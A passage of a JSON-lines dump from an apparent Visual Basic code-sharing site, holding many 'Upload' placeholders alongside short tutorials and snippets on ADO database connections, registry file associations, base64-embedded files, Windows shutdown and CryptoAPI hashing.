Sub\n"},{"WorldId":1,"id":23521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29899,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<title>Interbase ADO Tutorial</title>\n</head>\n<body lang=EN-US link=blue vlink=purple class=\"Normal\" bgcolor=\"#FFFFFF\">\n<h2>Interbase \n ADO Tutorial</h2>\nHas anybody ever wondered if there is an Open \n Source alternative to SQL Server or Access databases? Well, I have, and I found \n Interbase. Interbase is a Client/Server database from Borland. It is Open Source. \n It runs on Windows, Linux and bunch of other *nix platforms. It has a very small \n memory footprint and it is relatively fast. It will also support large database \n files (larger the 2 gig. I know a guy that has a 300 Gig database up and running)\nAnyhow, in this article I will describe the \n issues and the necessary tools to get you up and running with Interbase. \nFirst let me tell you about the benefits of \n Interbase:\n<ol start=1 type=1>\n <li><span\n style='font-family:Arial'>Open Source</li>\n <li><span\n style='font-family:Arial'>Fast</li>\n <li><span\n style='font-family:Arial'>Small size</li>\n <li><span\n style='font-family:Arial'>Very easy distribution (scripts for Wise or InstallShield \n are available)</li>\n <li><span\n style='font-family:Arial'>Works ADO</li>\n <li><span\n style='font-family:Arial'>Works with ODBC</li>\n <li><span\n style='font-family:Arial'>Awesome transaction management (readers never block \n writers and vice versa)</li>\n <li><span\n style='font-family:Arial'>Multiple platform support (Linux/Unix)</li>\n <li><span\n style='font-family:Arial'>Superb support for BOLB fields (Images and memo \n fields)</li>\n <li><span\n style='font-family:Arial'>Support for Arrays (you can store Arrays in individual \n fields)</li>\n</ol>\nFor starters you need to get the server and \n client software. You can get the original Open Source version (Source and Binaries) \n from Borland at: \n<a\nhref=\"http://www.borland.com/devsupport/interbase/opensource/\">http://www.borland.com/devsupport/interbase/opensource/</a>\nor get it a modified version (Firebird) from: \n \n <a href=\"http://www.ibphoenix.com/ibp_download.html\">http://www.ibphoenix.com/ibp_download.html</a>\nDownload and install the server and client \n binaries. The Interbase server ships with a ODBC driver, but I hate ODBC and \n use ADO/OleDB on a day to day basis. So I had to find an OleDB driver for Interbase. \n Luckily there are numerous available. You can find a links to download sites \n on this site: \n \n <a href=\"http://www.interbase2000.org/tools_conn.htm\">http://www.interbase2000.org/tools_conn.htm</a> \n \nI opted for the IBProvider from <a href=\"http://www.lcpi.lipetsk.ru/prog/eng/index.html\">http://www.lcpi.lipetsk.ru/prog/eng/index.html</a> \n because they had some VB samples of how to use the provider with ADO. The version \n that you can download is an Evaluation for 30 days. If you want a completely \n free OleDB provider then use: <a\nhref=\"http://www.oledb.net/?Page=FAQ\">http://www.oledb.net/?Page=FAQ</a>. However, \n all my sample code is tested with IBProvider only.\nOnce you have downloaded and installed all \n the files, you are ready for development. IB (Interbase) ships with a sample \n database called employee.gdb. We will use this database as an example. (You \n can find it in ‘C:\\Program Files\\Borland\\InterBase\\examples\\Database’ , provided \n you installed the server in the default location). Anyhow, lets start with the \n basics:\n┬á\n<h2>Connecting \n to Interbase</h2>\nLets establish a connection to the database. \n A sample connection:\n┬á┬á┬á Dim \n adoConn As New ADODB.Connection \n \n ┬á┬á┬á adoConn.ConnectionString = \"provider=LCPI.IBProvider;data \n source=localhost:C:\\Interbase┬á┬á┬á DBs\\Employee.gdb;ctype=win1251;user id=SYSDBA;password=masterkey\"\n┬á┬á┬á adoConn.Open<span\nstyle='font-family:Arial'>\nOk, here are a few things to consider: \n Default user name and password (like SA in SQLServer) are SYSDBA and masterkey \n (case sensitive). The ‘data source’ parameter has a following syntax: IP \n Address:file location on the remote system . If you installed the server \n on your development machine then use localhost or your IP. If you installed \n it on a remote machine then use the IP Address of the machine. The file location \n is a bit weird. It is local to the server and you can’t use UNC paths.\nOnce the connection is open, we can start working \n with the database.\n┬á\n<h2>Working \n with an Interbase database</h2>\nFor the most part, working with Interbase is \n as easy as working with SQL Server or Access. However there are a few things \n to consider: \nFor one, Interbase uses dialects, basically \n it’s the SQL syntax that you issue your commands to the database. IB 6.0 can \n use Dialect 1 (legacy) and Dialect 3. The sample databases are in written in \n Dialect 1. If you decide to use Dialect 3 (as I have), you will notice some \n weird behavior. If your database has lower case table and field names, you will \n have to surround them with double quotes. For instance: Select “CompanyName”, \n “Address” from “tblCustomers”. Needless to say this will create havoc with \n VB programmers J<span\nstyle='font-family:Arial'>. One workaround is to use caps for table and field \n names. (Btw, don’t ask me why this is the way it is.) For Instance: SELECT COMPAN_YNAME, \n ADDRESS FROM TBLCUSTOMERS.\nThe other issue that I have found is: you cannot \n use adCmdStoredProc as your command type. Workaround for this: use adCmdText. \n But more on this later.\nOk, so how would we get some data in and out \n of our database? Well, you can use your normal recordset object to execute a \n SQL statement or you can use stored procedures.\nHere is a sample of a simple select statement:\n┬á┬á┬á Dim \n rst As New Recordset \n \n ┬á┬á┬á rst.Source = \"SELECT CUSTOMER.CONTACT_FIRST, \" & \n _ \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \"CUSTOMER.CONTACT_LAST, CUSTOMER.COUNTRY \" \n & _ \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \"FROM CUSTOMER\"┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á \n┬á┬á┬á rst.ActiveConnection \n = adoConn \n ┬á┬á┬á adoConn.BeginTrans \n ┬á┬á┬á rst.Open \n ┬á┬á┬á adoConn.CommitTrans\nAnd here is a simple stored procedure execution:\n┬á┬á┬á Dim \n rst As New Recordset \n ┬á┬á┬á Dim cmd As New ADODB.Command\n┬á┬á┬á adoConn.Open┬á┬á┬á \n \n┬á┬á┬á With cmd \n ┬á┬á┬á┬á┬á┬á┬á .ActiveConnection = adoConn \n ┬á┬á┬á┬á┬á┬á┬á .CommandText = \"Select * FROM DEPT_BUDGET (100)\" \n ┬á┬á┬á End With\n┬á┬á┬á adoConn.BeginTrans \n ┬á┬á┬á ┬á┬á┬á┬áSet rst = cmd.Execute \n ┬á┬á┬á adoConn.CommitTrans\nNotice that if your stored procedure returns \n any rows, you have to use the ‘SELECT * FROM stored procedure name’ syntax. \n If your procedure does not return any records, you can use ‘EXECUTE stored \n procedure name’.\nAlso, the way you pass parameters in and out \n of the procedure is a bit peculiar. Lets say you have an insert stored procedure \n that will accept 3 parameters. To pass those parameters you can use inline syntax: \n For instance, ‘execute procedure PROC_INSERT_TBLCUSTOMERS (comma delimited \n parameter values)’ or you can use this syntax:\nWith \n cmd \n ┬á┬á┬á┬á┬á┬á┬á \n .ActiveConnection = adoConn \n ┬á┬á┬á┬á┬á┬á┬á .CommandText = \" execute procedure PROC_INSERT_TBLCUSTOMERS \n (?,?,?)” \n End With\nadoConn.BeginTrans \n ┬á┬á┬á┬á┬á┬á┬á cmd(0) = parameter value \n ┬á┬á┬á┬á┬á┬á┬á cmd(1) = parameter value \n ┬á┬á┬á┬á┬á┬á┬á cmd(2) = parameter value \n ┬á┬á┬á┬á┬á┬á┬á cmd.Execute \n adoConn.CommitTrans\nAnyhow, these are the basics. If you guys are \n interested in Interbase, I will write a 2nd part of the tutorial \n that will cover some advanced features like working with Images, Arrays, UDF \n functions and tools for Interbase. For now take a look at the sample code for \n this tutorial, and take a look at the sample databases that are provided by \n Borland. \nRaf\n</body>\n</html>\n"},{"WorldId":1,"id":23166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23025,"LineNumber":1,"line":"Private Sub Grid1_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nStatic txt As String\nDim tip As String\ntip = Grid1.TextMatrix(Grid1.MouseRow, Grid1.MouseCol)\n If txt <> tip Then\n Grid1.ToolTipText = tip\n txt = tip\n End If\nEnd Sub"},{"WorldId":1,"id":22675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12376,"LineNumber":1,"line":"<img border=\"0\" src=\"bd00386_.gif\" width=\"100%\" height=\"4\">\nCreating a ADO Connection To\nSQL Server\nHere is a example to create a ado connection. You could create a basic\nmodule and add it to your project and then create a Global ADO connection, so\nyour program will use one connection instance for the whole program. That way\nonce you open up your connection it will stay until you close the connection or\nexit the program. Make sure in your VB project , you have in your references\nmenu option,Microsoft Activex Dataobjects selected. And also Dcom installed.\nIn the General/declarations of your basic module declare your connection ..\nGlobal SQLCON As New ADODB.Connection\nThen , in your project , say under a command button the\ncode to open your connection, would be ...\nPublic Sub Command1_Click() \n ' Connect to SQL server through SQL Server OLE DB Provider. \n\n ' Set the ADO connection properties. \n SQLCON.ConnectionTimeout = 25 ' Time out for the\nconnection \n SQLCON.Provider = \"sqloledb\" ' OLEDB Provider \n SQLCON.Properties(\"Network Address\").Value =\n"111.111.111.111" ' set the ip address of your sql server \n SQLCON.CommandTimeout = 180 ' set timeout for 3 minutes \n \n ' Now set your network library to use one of these libraries\n.. un-rem only the one you want to use ! \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmssocn\" ' set the network library to use win32 winsock\ntcp/ip \n 'SQLCON.Properties(\"Network Library\").Value = \"dbnmpntw\" ' set the network library to use win32 named\npipes \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmsspxn\" ' set the network library to use win32\nspx/ipx \n 'SQLCON.Properties(\"Network Library\").Value = \"dbmsrpcn\" ' set the network library to use win32\nmulti-protocol\n 'Now set the SQL server\nname , and the default data base .. change these for your server ! \n SQLCON.Properties(\"Data Source\").Value = "MYSERVERNAME" \n SQLCON.Properties(\"Initial Catalog\").Value = "MYSQLDATABASE" \n SQLCON.CursorLocation = adUseServer ' For ADO cursor location \n \n 'Now you need to decide what authorization type you want to\nuse .. WinNT or SQL Server. \n 'un-rem this line for NT authorization.\n \n'SQLCON.Properties(\"Integrated Security\").Value = "SSPI"\n ' Or if you want\nto use SQL authorization , un-rem these 2 lines and supply SQL server login name\nand password\n 'SQLCON.Properties(\"User ID\").Value ="SQLUSERNAME" \n 'SQLCON.Properties("Password").Value =\n"SQLPASSWORD" \n\n \n ' Now we can open the ADO Connection to SQl\nserver !.. \n SQLCON.Open \n\n\n ' Now we can do a simple\ntest of the new ADO connection \n ' Lets return the Time and Date the SQL server thinks\nit is ..\n Dim RS As ADODB.Recordset \n Set RS = New ADODB.Recordset \n SQLstatement = \"SELECT GETDATE() AS SQLDATE " ' Set a\nSimple Sql query to return the servers time \n RS.Open SQLstatement, SQLCON ' Lets open a connection\nwith our new SQLCON connection , and our SQL statement \n ' Move to first row. \n RS.MoveFirst \n junk = MsgBox( "Server Time is " & RS("SQLDATE"),\nvbOKOnly, " SQL SERVER INFO\") \n \nEnd Sub\n \nOf course , you need to add error handling routines\n, and more user friendly code, if you want selectable logon options, but this\nshould at least get you talking to the SQL server.\n \n<img border=\"0\" src=\"newlogosmall.jpg\" width=\"480\" height=\"120\">\n\n"},{"WorldId":1,"id":12477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25118,"LineNumber":1,"line":"For example: You could have a function that returns error information which is called like this:\n \n \nPrivate Sub MySub()\n \nOn Error GoTo err_handler\n \n'....code here that rasies an error\n \nerr_handler:\n \nIf Err.Number <> 0 Then\n \n Dim Tmp() As String\n \n Tmp = ErrorHandler\n \n MsgBox \"Error Description: \" & Tmp(0) & \" Error Number #:\" & Tmp(1) & \" Source: \" & Tmp(2)\n \nErase Tmp\n \nEnd If\nEnd Sub\n \n \n \n \nPublic Function ErrorHandler() As String()\n \nDim Errors(0 To 2) As String\n \n Errors(0) = Err.Description\n \n Errors(1) = Err.Number\n \n Errors(2) = Err.Source\n \n Err.Clear\n \n ErrorHandler = Errors\n \nEnd Function"},{"WorldId":1,"id":25937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12431,"LineNumber":1,"line":"Public Sub ListBox2File(sFile As String, oList As ListBox)\nDim fnum, x As Integer\nDim sTemp As String \n fnum = FreeFile()\n x = 0\n Open sFile For Output As fnum\n While x <> oList.ListCount\n Print #fnum, oList.List(x)\n x = x + 1\n Wend\n Close fnum\nEnd Sub\n'Check out http://www.vb2delphi.com for more code!"},{"WorldId":1,"id":12432,"LineNumber":1,"line":"Public Sub CreateAssociation(sExtension as String, sApplication as String, sAppPath as String)\n Dim sPath As String\n CreateNewKey \".\" & sExtension, HKEY_CLASSES_ROOT\n SetKeyValue \".\" & sExtension, \"\", sApplication & \".Document\", REG_SZ\n CreateNewKey sApplication & \".Document\\shell\\open\\command\", HKEY_CLASSES_ROOT\n SetKeyValue sApplication & \".Document\", \"\", sApplication & \" Document\", REG_SZ\n sPath = sAppPath & \" %1\"\n SetKeyValue sApplication & \".Document\\shell\\open\\command\", \"\", sPath, REG_SZ\n CreateNewKey \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.\" _\n & sExtension, HKEY_CURRENT_USER\n SetKeyValue2 \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.\" _\n & sExtension, \"Application\", sAppExe, REG_SZ\n CreateNewKey \"Applications\\\" & sAppExe & \"\\shell\\open\\command\", HKEY_CLASSES_ROOT\n SetKeyValue \"Applications\\\" & sAppExe & \"\\shell\\open\\command\", \"\", sPath, REG_SZ\nEnd Sub\n\nPublic Function SetValueEx(ByVal hKey As Long, _\n sValueName As String, _\n lType As Long, _\n vValue As Variant) As Long\n Dim nValue As Long\n Dim sValue As String\n Select Case lType\n Case REG_SZ\n sValue = vValue & Chr$(0)\n SetValueEx = RegSetValueExString(hKey, _\n sValueName, _\n 0&, _\n lType, _\n sValue, _\n Len(sValue))\n Case REG_DWORD\n nValue = vValue\n SetValueEx = RegSetValueExLong(hKey, _\n sValueName, _\n 0&, _\n lType, _\n nValue, _\n 4)\n End Select\nEnd Function\n\nPublic Sub CreateNewKey(sNewKeyName As String, _\n lPredefinedKey As Long)\n Dim hKey As Long\n Dim result As Long\n Call RegCreateKeyEx(lPredefinedKey, _\n sNewKeyName, 0&, _\n vbNullString, _\n REG_OPTION_NON_VOLATILE, _\n KEY_ALL_ACCESS, 0&, hKey, result)\n Call RegCloseKey(hKey)\nEnd Sub\n\nPublic Sub SetKeyValue(sKeyName As String, _\n sValueName As String, _\n vValueSetting As Variant, _\n lValueType As Long)\n Dim hKey As Long\n Call RegOpenKeyEx(HKEY_CLASSES_ROOT, _\n sKeyName, 0, _\n KEY_ALL_ACCESS, hKey)\n Call SetValueEx(hKey, _\n sValueName, _\n lValueType, _\n vValueSetting)\n Call RegCloseKey(hKey)\nEnd Sub\nPublic Sub SetKeyValue(sKeyName As String, _\n sValueName As String, _\n vValueSetting As Variant, _\n lValueType As Long)\n Dim hKey As Long\n Call RegOpenKeyEx(HKEY_CURRENT_USER, _\n sKeyName, 0, _\n KEY_ALL_ACCESS, hKey)\n Call SetValueEx(hKey, _\n sValueName, _\n lValueType, _\n vValueSetting)\n Call RegCloseKey(hKey)\nEnd Sub\n"},{"WorldId":1,"id":12429,"LineNumber":1,"line":"Public Sub File2ListBox(sFile As String, oList As ListBox)\nDim fnum As Integer\nDim sTemp As String\n fnum = FreeFile()\n oList.Clear\n Open sFile For Input As fnum\n While Not EOF(fnum)\n Line Input #fnum, sTemp\n oList.AddItem sTemp\n Wend\n Close fnum\nEnd Sub"},{"WorldId":1,"id":25936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34620,"LineNumber":1,"line":" I have always been looking for a way to embed small to medium sized files in the my VB project. It was a frustrating search for the solution. But I think I have found it. J \n \nI have always liked the ability of a single .exe file to create it's own files on demand. Like a app that creates it's own log or INI file. With text based files this was easy to do. Just hardcode the file as text in a module or store it as a constant. I even wrote a utility to take a paragraph of text and convert into a string (with vbcrlf's and quote marks. But Binary files were a different story altogether \n \nAnd then the other day I was looking at a message source of an email and noticed how a image a person sends through the email get converted and embedded as text. This encoding is called base64. it takes a binary file and encodes it so that it can be stored as text. For example: \n <blockquote>\nContent-Type: application/octet-stream; \n\tname=\"test.gif\" \nContent-Transfer-Encoding: base64 \nContent-Disposition: attachment; \n\tfilename=\"test.gif\" \n \nsKDBgwgTKlzIsKHDgQEASJz4sKLFiwMNCIg4USIBjCBDihwJsSNFkigvCjBpMkDKlzBRcmQZs6bB \nmQAIGDAo0abPnwkj7jzQ0SVQlAZY5kzY86hTn0IJSjT6FCMBpR8XNq3KlWTUjACodnW4sqPFrWPT \n... </blockquote>\n \nWhen I saw this a huge light bulb went off in my head. Aha! I could use base64 encoding to convert a binary file into text and then store that text as a variable or constant. Then when it is time to create that file in my program I can call a procedure to decode it and save it. So then I read an rfc about the base64 and luckily I found a free dll that does the base64 decoding so I don't have to write it. Now maybe your thinking I am trying to push this person's free dll but that is not the case. You could just read the RFC about base64 and write your own procedure to do it. But for me it was quick and easy to use the dll. See the example below \n <blockquote>\nPublic Sub makeAccessDatabase() \n Dim dbs As String \n dbs = dbs & \"AAEAAFN0YW5kYXJkIEpldCBEQgABAAAAtW4DYmAJwlXpqWdyQD8AnH6fkP+FmjHFebrtMLzfzJ1j\" \n dbs = dbs & \"2eTDn0b7irxOgWnsN1rWnPrBzCjmFCSKYFMGezby4N+xcGYTQ8g9sTMz83lblSd8Kmr6fJkIH5j9\" \n dbs = dbs & \"fHOP05p+gmZflfjQiSSFZ8YfJ0TS7s9l7f8Hx0aheBYM7ektYtRUBgAANC4wAAAAAAAAAAAAAAAA\" \n '... \n \n dim obj As Base64Lib.Base64 \n Set obj = New Base64Lib.Base64 \n obj.DecodeToFile dbs, App.Path & \"\\\" & App.EXEName & \".mdb\" \n Set obj = Nothing \n \n dbs = \"\" \n \nEnd Sub \n </blockquote>\nIn this case I was making an access database. ThatΓÇÖs all there is, it works wonderfully. \n \nBTW to get the encoded text just send yourself an attachment and copy the source. Then paste it into word. Do a replace command. Replace paragraph mark with \" ^p dbs=dbs & \". Then just copy that and paste into a module.\n \nThanks for reading \n-Mike Firoved \n \n"},{"WorldId":1,"id":32693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25679,"LineNumber":1,"line":"Dim result As Long\n'//set Richtext Box Backgroundstyle to transparent\nresult = SetWindowLong(txtLogFile.hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT)\n"},{"WorldId":1,"id":13871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13072,"LineNumber":1,"line":"The new Visual Studio.net (v.7.0) comes with a brand new user interface. \nAs shown above, you now switch between your code and design view, by clicking the appropriate tab. You can switch between open forms (now called Windows Forms) by selected the appropriate tab.\nVariables have changed, f.ex. the good old integer variable is now called short. The long variable is now called integer!!! You can not use variables without defining them first (Developers who used the option explicit statement are familiar with this). A new powerful feature is presented in VB.NET, you can now declare a variable with a value in it. This is similar to the old C++ from Visual Studio 6.0.\nStatements like on error goto are now history. Instead we have the Try statement which is very similar to the one we have in Delphi.\nAnother great feature in .Net is the collapse option in the code view. When writing complex application you may get lost in spagetti code. Now you can collapse classes, functions, procedures, scopes etc. This enables you to keep a better track of your code. An example of this is shown above.\nTypecasting is now available in .Net. We can no longer pass integer values to strings without typecasting. At first this sounds boring and dreadful but this prevents mistakes so this is really a great new feature.\n.net provides us with better access to memory.\nOverall VB.Net is going to make us, the VB programmers, the most valuable programmers on the market and will enable us to write killer applications in no-time.\nWith greetings from Iceland,\nMrHippo,\n"},{"WorldId":1,"id":13128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12479,"LineNumber":1,"line":"' this just shells out to Run a windows file\n' That windows uses to Shut the Computer down......\nShell \"Rundll32 shell32.dll,SHExitWindowsEx 2\", vbHide"},{"WorldId":1,"id":31891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12485,"LineNumber":1,"line":"Private Sub Command1_Click()\nPageLocation$ = Text1.Text\nShellX = Shell(\"explorer.exe \" + PageLocation$)\nEnd Sub"},{"WorldId":1,"id":12492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12680,"LineNumber":1,"line":"Public Function getHash(data As String, hashType As Integer) As String\nDim ht As Long\nDim sTemp As String\nDim sProv As String\nDim hLen As Long\nDim h As String\nDim hl As Long\n \n'get hash type\nIf hashType = 0 Then\n 'MD5\n ht = CALG_MD5\n hLen = 16\nElseIf hashType = 1 Then\n 'SHA\n hLen = 20\n ht = CALG_SHA\nElse\n getHash = \"\"\n Exit Function\nEnd If\n'--- Prepare string buffers\nsTemp = vbNullChar\nsProv = MS_DEF_PROV & vbNullChar\n'---Gain Access To CryptoAPI\nIf Not CBool(CryptAcquireContext(cryptContext, sTemp, sProv, PROV_RSA_FULL, 0)) Then\n If Not CBool(CryptAcquireContext(cryptContext, sTemp, sProv, PROV_RSA_FULL, CRYPT_NEWKEYSET)) Then\n getHash = \"\"\n Exit Function\n End If\nEnd If\n'Create Empty hash object\nIf Not CBool(CryptCreateHash(cryptContext, ht, 0, 0, hl)) Then\n getHash = \"\"\n Exit Function\nEnd If\n'Hash the input string.\nIf Not CBool(CryptHashData(hl, data, Len(data), 0)) Then\n getHash = \"\"\n Exit Function\nEnd If\nh = String(20, vbNull)\n'Get hash val\nIf Not CBool(CryptGetHashParam(hl, HP_HASHVAL, h, hLen, 0)) Then\n getHash = \"\"\n Exit Function\nEnd If\ngetHash = h\n \nEnd 